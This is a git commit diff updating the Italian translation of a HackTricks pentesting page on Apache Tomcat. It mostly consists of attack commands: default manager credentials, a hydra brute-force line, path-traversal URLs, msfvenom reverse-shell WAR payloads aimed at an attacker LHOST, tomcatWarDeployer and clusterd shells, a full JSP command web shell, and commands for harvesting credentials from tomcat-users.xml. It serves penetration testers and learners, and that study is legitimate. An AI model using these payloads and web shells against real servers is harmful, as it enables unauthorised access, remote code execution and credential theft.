Translated ['network-services-pentesting/pentesting-web/tomcat/README.md

This commit is contained in:
Translator 2024-04-11 00:57:19 +00:00
parent 2e0317d5ef
commit 644f33980c

View file

@ -4,10 +4,10 @@
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -25,33 +25,29 @@
* Di solito funziona sulla **porta 8080**
* **Errore comune di Tomcat:**
<figure><img src="../../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (147).png" alt=""><figcaption></figcaption></figure>
## Enumerazione
### **Identificazione della Versione**
Per trovare la versione di Apache Tomcat, è possibile eseguire un semplice comando:
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
### **Posizione dei File del Manager**
Identificare le posizioni esatte delle directory **`/manager`** e **`/host-manager`** è cruciale poiché i loro nomi potrebbero essere modificati. Si consiglia di effettuare una ricerca brute-force per individuare queste pagine.
Identificare le posizioni esatte delle directory **`/manager`** e **`/host-manager`** è cruciale poiché i loro nomi potrebbero essere modificati. Si consiglia una ricerca brute-force per individuare queste pagine.
### **Enumerazione degli Username**
Per le versioni di Tomcat precedenti alla 6, è possibile enumerare gli username tramite:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Credenziali predefinite**
La directory **`/manager/html`** è particolarmente sensibile in quanto consente il caricamento e il rilascio di file WAR, che possono portare all'esecuzione del codice. Questa directory è protetta da autenticazione HTTP di base, con le credenziali comuni che sono:
La directory **`/manager/html`** è particolarmente sensibile in quanto consente il caricamento e il rilascio di file WAR, che possono portare all'esecuzione di codice. Questa directory è protetta da autenticazione HTTP di base, con le credenziali comuni che sono:
* admin:admin
* tomcat:tomcat
@ -61,21 +57,17 @@ La directory **`/manager/html`** è particolarmente sensibile in quanto consente
* admin:tomcat
Queste credenziali possono essere testate utilizzando:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Un'altra directory importante è **`/manager/status`**, che visualizza la versione di Tomcat e del sistema operativo, facilitando l'identificazione delle vulnerabilità.
### **Attacco di Forza Bruta**
Per tentare un attacco di forza bruta sulla directory del manager, si può utilizzare:
Per tentare un attacco di forza bruta alla directory del manager, si può utilizzare:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
## Vulnerabilità Comuni
### **Rivelazione della Password tramite Backtrace**
@ -86,11 +78,11 @@ L'accesso a `/auth.jsp` potrebbe rivelare la password in un backtrace in circost
La vulnerabilità CVE-2007-1860 in `mod_jk` consente la doppia codifica dell'URL per il path traversal, consentendo l'accesso non autorizzato all'interfaccia di gestione tramite un URL appositamente creato.
Per accedere alla web management di Tomcat vai a: `pathTomcat/%252E%252E/manager/html`
Per accedere alla gestione web di Tomcat, vai a: `pathTomcat/%252E%252E/manager/html`
### /examples
Le versioni di Apache Tomcat da 4.x a 7.x includono script di esempio che sono suscettibili a rivelazioni di informazioni e attacchi di cross-site scripting (XSS). Questi script, elencati in modo esaustivo, dovrebbero essere controllati per l'accesso non autorizzato e potenziale sfruttamento. Trova [ulteriori informazioni qui](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
Le versioni di Apache Tomcat da 4.x a 7.x includono script di esempio che sono suscettibili a rivelazioni di informazioni e attacchi di cross-site scripting (XSS). Questi script, elencati in modo esaustivo, dovrebbero essere controllati per l'accesso non autorizzato e potenziali sfruttamenti. Trova [ulteriori informazioni qui](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
@ -115,7 +107,7 @@ Le versioni di Apache Tomcat da 4.x a 7.x includono script di esempio che sono s
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Sfruttamento del Path Traversal**
### **Sfruttamento del Traversal del Percorso**
In alcune [**configurazioni vulnerabili di Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) è possibile accedere alle directory protette in Tomcat utilizzando il percorso: `/..;/`
@ -130,7 +122,6 @@ Infine, se hai accesso al Tomcat Web Application Manager, puoi **caricare e dist
### Limitazioni
Sarai in grado di distribuire un WAR solo se hai **abbastanza privilegi** (ruoli: **admin**, **manager** e **manager-script**). Questi dettagli possono essere trovati in _tomcat-users.xml_ di solito definito in `/usr/share/tomcat9/etc/tomcat-users.xml` (varia tra le versioni) (vedi [POST](./#post) sezione).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -140,9 +131,9 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
Metasploit è uno strumento molto potente e flessibile per testare la sicurezza dei sistemi informatici. Offre una vasta gamma di moduli che possono essere utilizzati per eseguire test di penetrazione su server Tomcat vulnerabili. Utilizzando Metasploit in modo corretto, è possibile identificare e sfruttare con successo le vulnerabilità presenti in un server Tomcat.
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
@ -151,15 +142,12 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### Shell Inversa MSFVenom
### Guscio Inverso MSFVenom
1. Creare il file war da distribuire:
1. Crea il file war da distribuire:
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
2. Carica il file `revshell.war` e accedi ad esso (`/revshell/`):
### Shell di bind e reverse con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
@ -167,33 +155,24 @@ msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o r
In alcuni scenari questo non funziona (ad esempio vecchie versioni di sun)
#### Download
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Shell inversa
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Shell di bind
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### Utilizzando [Culsterd](https://github.com/hatRiot/clusterd)
### Utilizzo di [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Metodo manuale - Web shell
Crea **index.jsp** con questo [contenuto](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
@ -224,35 +203,28 @@ jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
Puoi anche installare questo (consente di caricare, scaricare ed eseguire comandi): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Metodo Manuale 2
Ottieni una web shell JSP come [questa](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) e crea un file WAR:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
Il nome del file delle credenziali di Tomcat è _tomcat-users.xml_
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Altri modi per raccogliere le credenziali di Tomcat:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Altri strumenti di scansione per tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
@ -270,10 +242,10 @@ msf> use post/windows/gather/enum_tomcat
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).